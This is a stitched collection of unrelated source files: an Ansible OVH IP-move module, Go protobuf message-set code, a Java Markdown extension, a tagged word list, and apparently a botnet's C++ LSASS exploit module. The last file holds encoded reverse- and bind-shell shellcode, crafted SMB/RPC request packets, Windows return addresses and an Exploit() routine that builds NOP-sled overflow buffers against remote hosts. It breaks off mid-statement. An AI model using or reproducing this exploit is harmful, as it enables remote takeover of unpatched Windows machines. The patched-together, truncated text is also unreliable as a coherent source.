5 if currentTimeout < 0: return False return True def main(): module = AnsibleModule( argument_spec=dict( name=dict(required=True), service=dict(required=True), endpoint=dict(required=True), wait_completion=dict(default=True, type='bool'), wait_task_completion=dict(default=0, type='int'), application_key=dict(required=True, no_log=True), application_secret=dict(required=True, no_log=True), consumer_key=dict(required=True, no_log=True), timeout=dict(default=120, type='int') ), supports_check_mode=True ) result = dict( changed=False ) if not HAS_OVH: module.fail_json(msg='ovh-api python module is required to run this module ') # Get parameters name = module.params.get('name') service = module.params.get('service') timeout = module.params.get('timeout') wait_completion = module.params.get('wait_completion') wait_task_completion = module.params.get('wait_task_completion') # Connect to OVH API client = getOvhClient(module) # Check that the load balancing exists try: ips = client.get('/ip', ip=name, type='failover') except APIError as apiError: module.fail_json( msg='Unable to call OVH api for getting the list of ips, ' 'check application key, secret, consumerkey and parameters. ' 'Error returned by OVH api was : {0}'.format(apiError)) if name not in ips and '{0}/32'.format(name) not in ips: module.fail_json(msg='IP {0} does not exist'.format(name)) # Check that no task is pending before going on try: if not waitForNoTask(client, name, timeout): module.fail_json( msg='Timeout of {0} seconds while waiting for no pending ' 'tasks before executing the module '.format(timeout)) except APIError as apiError: module.fail_json( msg='Unable to call OVH api for getting the list of pending tasks ' 'of the ip, check application key, secret, consumerkey ' 'and parameters. Error returned by OVH api was : {0}' .format(apiError)) try: ipproperties = client.get('/ip/{0}'.format(quote_plus(name))) except APIError as apiError: module.fail_json( msg='Unable to call OVH api for getting the properties ' 'of the ip, check application key, secret, consumerkey ' 'and parameters. Error returned by OVH api was : {0}' .format(apiError)) if ipproperties['routedTo']['serviceName'] != service: if not module.check_mode: if wait_task_completion == 0: # Move the IP and get the created taskId task = client.post('/ip/{0}/move'.format(quote_plus(name)), to=service) taskId = task['taskId'] result['moved'] = True else: # Just wait for the given taskId to be completed taskId = wait_task_completion result['moved'] = False result['taskId'] = taskId if wait_completion or wait_task_completion != 0: if not waitForTaskDone(client, name, taskId, timeout): module.fail_json( msg='Timeout of {0} seconds while waiting for completion ' 'of move ip to service'.format(timeout)) result['waited'] = True else: result['waited'] = False result['changed'] = True module.exit_json(**result) if __name__ == '__main__': main()
{ "pile_set_name": "Github" }
// Go support for Protocol Buffers - Google's data interchange format // // Copyright 2010 The Go Authors. All rights reserved. // https://github.com/golang/protobuf // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. package proto /* * Support for message sets. */ import ( "bytes" "encoding/json" "errors" "fmt" "reflect" "sort" ) // errNoMessageTypeID occurs when a protocol buffer does not have a message type ID. // A message type ID is required for storing a protocol buffer in a message set. var errNoMessageTypeID = errors.New("proto does not have a message type ID") // The first two types (_MessageSet_Item and messageSet) // model what the protocol compiler produces for the following protocol message: // message MessageSet { // repeated group Item = 1 { // required int32 type_id = 2; // required string message = 3; // }; // } // That is the MessageSet wire format. We can't use a proto to generate these // because that would introduce a circular dependency between it and this package. type _MessageSet_Item struct { TypeId *int32 `protobuf:"varint,2,req,name=type_id"` Message []byte `protobuf:"bytes,3,req,name=message"` } type messageSet struct { Item []*_MessageSet_Item `protobuf:"group,1,rep"` XXX_unrecognized []byte // TODO: caching? } // Make sure messageSet is a Message. var _ Message = (*messageSet)(nil) // messageTypeIder is an interface satisfied by a protocol buffer type // that may be stored in a MessageSet. type messageTypeIder interface { MessageTypeId() int32 } func (ms *messageSet) find(pb Message) *_MessageSet_Item { mti, ok := pb.(messageTypeIder) if !ok { return nil } id := mti.MessageTypeId() for _, item := range ms.Item { if *item.TypeId == id { return item } } return nil } func (ms *messageSet) Has(pb Message) bool { if ms.find(pb) != nil { return true } return false } func (ms *messageSet) Unmarshal(pb Message) error { if item := ms.find(pb); item != nil { return Unmarshal(item.Message, pb) } if _, ok := pb.(messageTypeIder); !ok { return errNoMessageTypeID } return nil // TODO: return error instead? } func (ms *messageSet) Marshal(pb Message) error { msg, err := Marshal(pb) if err != nil { return err } if item := ms.find(pb); item != nil { // reuse existing item item.Message = msg return nil } mti, ok := pb.(messageTypeIder) if !ok { return errNoMessageTypeID } mtid := mti.MessageTypeId() ms.Item = append(ms.Item, &_MessageSet_Item{ TypeId: &mtid, Message: msg, }) return nil } func (ms *messageSet) Reset() { *ms = messageSet{} } func (ms *messageSet) String() string { return CompactTextString(ms) } func (*messageSet) ProtoMessage() {} // Support for the message_set_wire_format message option. func skipVarint(buf []byte) []byte { i := 0 for ; buf[i]&0x80 != 0; i++ { } return buf[i+1:] } // MarshalMessageSet encodes the extension map represented by m in the message set wire format. // It is called by generated Marshal methods on protocol buffer messages with the message_set_wire_format option. func MarshalMessageSet(m map[int32]Extension) ([]byte, error) { if err := encodeExtensionMap(m); err != nil { return nil, err } // Sort extension IDs to provide a deterministic encoding. // See also enc_map in encode.go. ids := make([]int, 0, len(m)) for id := range m { ids = append(ids, int(id)) } sort.Ints(ids) ms := &messageSet{Item: make([]*_MessageSet_Item, 0, len(m))} for _, id := range ids { e := m[int32(id)] // Remove the wire type and field number varint, as well as the length varint. msg := skipVarint(skipVarint(e.enc)) ms.Item = append(ms.Item, &_MessageSet_Item{ TypeId: Int32(int32(id)), Message: msg, }) } return Marshal(ms) } // UnmarshalMessageSet decodes the extension map encoded in buf in the message set wire format. // It is called by generated Unmarshal methods on protocol buffer messages with the message_set_wire_format option. func UnmarshalMessageSet(buf []byte, m map[int32]Extension) error { ms := new(messageSet) if err := Unmarshal(buf, ms); err != nil { return err } for _, item := range ms.Item { id := *item.TypeId msg := item.Message // Restore wire type and field number varint, plus length varint. // Be careful to preserve duplicate items. b := EncodeVarint(uint64(id)<<3 | WireBytes) if ext, ok := m[id]; ok { // Existing data; rip off the tag and length varint // so we join the new data correctly. // We can assume that ext.enc is set because we are unmarshaling. o := ext.enc[len(b):] // skip wire type and field number _, n := DecodeVarint(o) // calculate length of length varint o = o[n:] // skip length varint msg = append(o, msg...) // join old data and new data } b = append(b, EncodeVarint(uint64(len(msg)))...) b = append(b, msg...) m[id] = Extension{enc: b} } return nil } // MarshalMessageSetJSON encodes the extension map represented by m in JSON format. // It is called by generated MarshalJSON methods on protocol buffer messages with the message_set_wire_format option. func MarshalMessageSetJSON(m map[int32]Extension) ([]byte, error) { var b bytes.Buffer b.WriteByte('{') // Process the map in key order for deterministic output. ids := make([]int32, 0, len(m)) for id := range m { ids = append(ids, id) } sort.Sort(int32Slice(ids)) // int32Slice defined in text.go for i, id := range ids { ext := m[id] if i > 0 { b.WriteByte(',') } msd, ok := messageSetMap[id] if !ok { // Unknown type; we can't render it, so skip it. continue } fmt.Fprintf(&b, `"[%s]":`, msd.name) x := ext.value if x == nil { x = reflect.New(msd.t.Elem()).Interface() if err := Unmarshal(ext.enc, x.(Message)); err != nil { return nil, err } } d, err := json.Marshal(x) if err != nil { return nil, err } b.Write(d) } b.WriteByte('}') return b.Bytes(), nil } // UnmarshalMessageSetJSON decodes the extension map encoded in buf in JSON format. // It is called by generated UnmarshalJSON methods on protocol buffer messages with the message_set_wire_format option. func UnmarshalMessageSetJSON(buf []byte, m map[int32]Extension) error { // Common-case fast path. if len(buf) == 0 || bytes.Equal(buf, []byte("{}")) { return nil } // This is fairly tricky, and it's not clear that it is needed. return errors.New("TODO: UnmarshalMessageSetJSON not yet implemented") } // A global registry of types that can be used in a MessageSet. var messageSetMap = make(map[int32]messageSetDesc) type messageSetDesc struct { t reflect.Type // pointer to struct name string } // RegisterMessageSetType is called from the generated code. func RegisterMessageSetType(m Message, fieldNum int32, name string) { messageSetMap[fieldNum] = messageSetDesc{ t: reflect.TypeOf(m), name: name, } }
{ "pile_set_name": "Github" }
package br.tiagohm.markdownview.ext.bean; import com.vladsch.flexmark.Extension; import com.vladsch.flexmark.html.HtmlRenderer; import com.vladsch.flexmark.parser.Parser; import com.vladsch.flexmark.util.options.DataKey; import com.vladsch.flexmark.util.options.MutableDataHolder; import br.tiagohm.markdownview.MarkdownView; import br.tiagohm.markdownview.ext.bean.internal.BeanDelimiterProcessor; import br.tiagohm.markdownview.ext.bean.internal.BeanNodeRenderer; public class BeanExtension implements Parser.ParserExtension, HtmlRenderer.HtmlRendererExtension { public static final DataKey<MarkdownView> BEAN_VIEW = new DataKey<>("BEAN_VIEW", (MarkdownView) null); private BeanExtension() { } public static Extension create() { return new BeanExtension(); } @Override public void rendererOptions(final MutableDataHolder options) { } @Override public void parserOptions(final MutableDataHolder options) { } @Override public void extend(Parser.Builder parserBuilder) { parserBuilder.customDelimiterProcessor(new BeanDelimiterProcessor()); } @Override public void extend(HtmlRenderer.Builder rendererBuilder, String rendererType) { switch (rendererType) { case "HTML": rendererBuilder.nodeRendererFactory(new BeanNodeRenderer.Factory()); break; } } }
{ "pile_set_name": "Github" }
bad_JJ popular_JJ major_JJ mocking_JJ fantastic_JJ fair_JJ low_JJ better_JJR higher_JJR spiceworld_JJ very_JJ very_JJ young_JJ older_JJR british_JJ real_JJ spicy_JJ real_JJ aforementioned_JJ scary_JJ posh_JJ humored_JJ spoof_JJ quick_JJ nice_JJ good_JJ surprising_JJ natural_JJ flawless_JJ reasonable_JJ bad_JJ extreme_JJ real_JJ boring_JJ sporadic_JJ loud_JJ big_JJ big_JJ hectic-but-overall-uneventful_JJ storyline_JJ other_JJ key_JJ small_JJ good_JJ hard_JJ unjust_JJ mad_JJ pretentious_JJ satirical_JJ big_JJ likely_JJ better_JJR self-indulged_JJ mocking_JJ embarrassing_JJ good_JJ bad_JJ obsessive_JJ
{ "pile_set_name": "Github" }
#include "main.h" #include "mainctrl.h" #include "utility.h" class CScannerLSASS : public CScannerBase { public: CScannerLSASS(); virtual ~CScannerLSASS() throw() { } bool Exploit(); }; // reverse shellcode unsigned char reverseshell[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99" "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12" "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99" "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9" "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D" "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA" "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32" "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10" "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8" "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66" "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5" "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8" "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A" "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12" "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A" "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C" "\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33" "\xF9\x7E\xE0\x5F\xE0"; // bind shellcode unsigned char bindshell[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12" "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A" "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6" "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D" "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A" "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58" "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0" "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41" "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B" "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D" "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA" "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10" "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF" "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8" "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79" "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C" "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59" "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD" "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC" "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5" "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6" "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0" "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED" "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99"; char req1[] = "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F" "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02" "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F" "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70" "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30" "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54" "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"; char req2[] = "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00" "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00" "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00" "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00" "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00" "\x2E\x00\x30\x00\x00\x00\x00\x00"; char req3[] = "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00" "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E" "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46" "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40" "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40" "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48" "\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF" "\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00" "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00" "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00" "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00" "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00"; char req4[] = "\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE" "\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00" "\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00" "\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00" "\x49\x00\x50\x00\x43\x00\x24" "\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"; char req5[] = "\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04" "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00" "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" "\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00" "\x72\x00\x70\x00\x63\x00\x00\x00"; char req6[] = "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04" "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02" "\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00" "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11" "\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A" "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"; char req7[] = "\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04" "\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02" "\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00" "\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00" "\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00"; // room for shellcode here ... char shit1[] = "\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9"; char req8[] = "\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE" "\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF" "\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00" "\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00" "\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00" "\x00\x00\x00\x00\xAD\x0D\x00\x00"; // room for shellcode here ... char req9[] = "\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01" "\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02" "\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00" "\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00"; char shit3[] = "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"; #define LEN 3500 #define BUFSIZE 2000 #define NOP 0x90 int dport = 44445; struct targets { int num; char name[50]; long jmpaddr; } ttarget[]= { { 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr { 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr { 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr //{ 3, "reboot", 0xffffffff }, // crash { NULL } }; CScannerLSASS::CScannerLSASS() { m_szType="CScannerLSASS"; m_sScannerName.Assign("LSASS"); } bool CScannerLSASS::Exploit() { char hostipc[40]; char hostipc2[40*2]; char szRecvBuf[1600]; char req4u[sizeof(req4)+20]; char smblen; char unclen; char buf[LEN+1]; char sendbuf[(LEN+1)*2]; char strBuffer[BUFSIZE]; char screq[BUFSIZE+sizeof(req7)+1500+440]; char screq2k[4348+4060]; char screq2k2[4348+4060]; int which; int i; unsigned short port; unsigned char *sc; int dport = 44445; char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4"; if(!m_sSocket.Connect(m_sSocket.m_szHost, m_sSocket.m_sPort)) // Connect failed, exit return false; //Send req 1 if(!m_sSocket.Write(req1, sizeof(req1)-1)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.Recv(szRecvBuf, sizeof(szRecvBuf))) { m_sSocket.Disconnect(); return false; } //Send req 2 if(!m_sSocket.Write(req2, sizeof(req2)-1)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.Recv(szRecvBuf, sizeof(szRecvBuf))) { m_sSocket.Disconnect(); return false; } //Send req 3 if(!m_sSocket.Write(req3, sizeof(req3)-1)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.Recv(szRecvBuf, sizeof(szRecvBuf))) { m_sSocket.Disconnect(); return false; } // OS check switch (szRecvBuf[68]) { case '1': // win XP which = 0; case '0': //win 2k which = 2; default: return FALSE; } sprintf((char *)hostipc,"\\\\%s\\ipc$", m_sSocket.m_szHost); for (i=0; i<40; i++) { hostipc2[i*2] = hostipc[i]; hostipc2[i*2+1] = 0; } memcpy(req4u, req4, sizeof(req4)-1); memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2); memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9); smblen = 52+(char)strlen(hostipc)*2; memcpy(req4u+3, &smblen, 1); unclen = 9 + (char)strlen(hostipc)*2; memcpy(req4u+45, &unclen, 1); port = htons(dport)^(USHORT)0x9999; memcpy(&bindshell[176], &port, 2); sc = bindshell; if (which != 0) { memset(buf, NOP, LEN); //memcpy(&buf[2020], "\x3c\x12\x15\x75", 4); memcpy(&buf[2020], &ttarget[which].jmpaddr, 4); memcpy(&buf[2036], sc, strlen((const char *)sc)); memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4); memcpy(&buf[2844], &ttarget[which].jmpaddr, 4); // jmp ebx addr //memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr memcpy(&buf[2856], sc, strlen((const char*)sc)); for (i=0; i<LEN; i++) { sendbuf[i*2] = buf[i]; sendbuf[i*2+1] = 0; } sendbuf[LEN*2]=0; sendbuf[LEN*2+1]=0; memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2); memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2); } else { memset(strBuffer, NOP, BUFSIZE); memcpy(strBuffer+160, 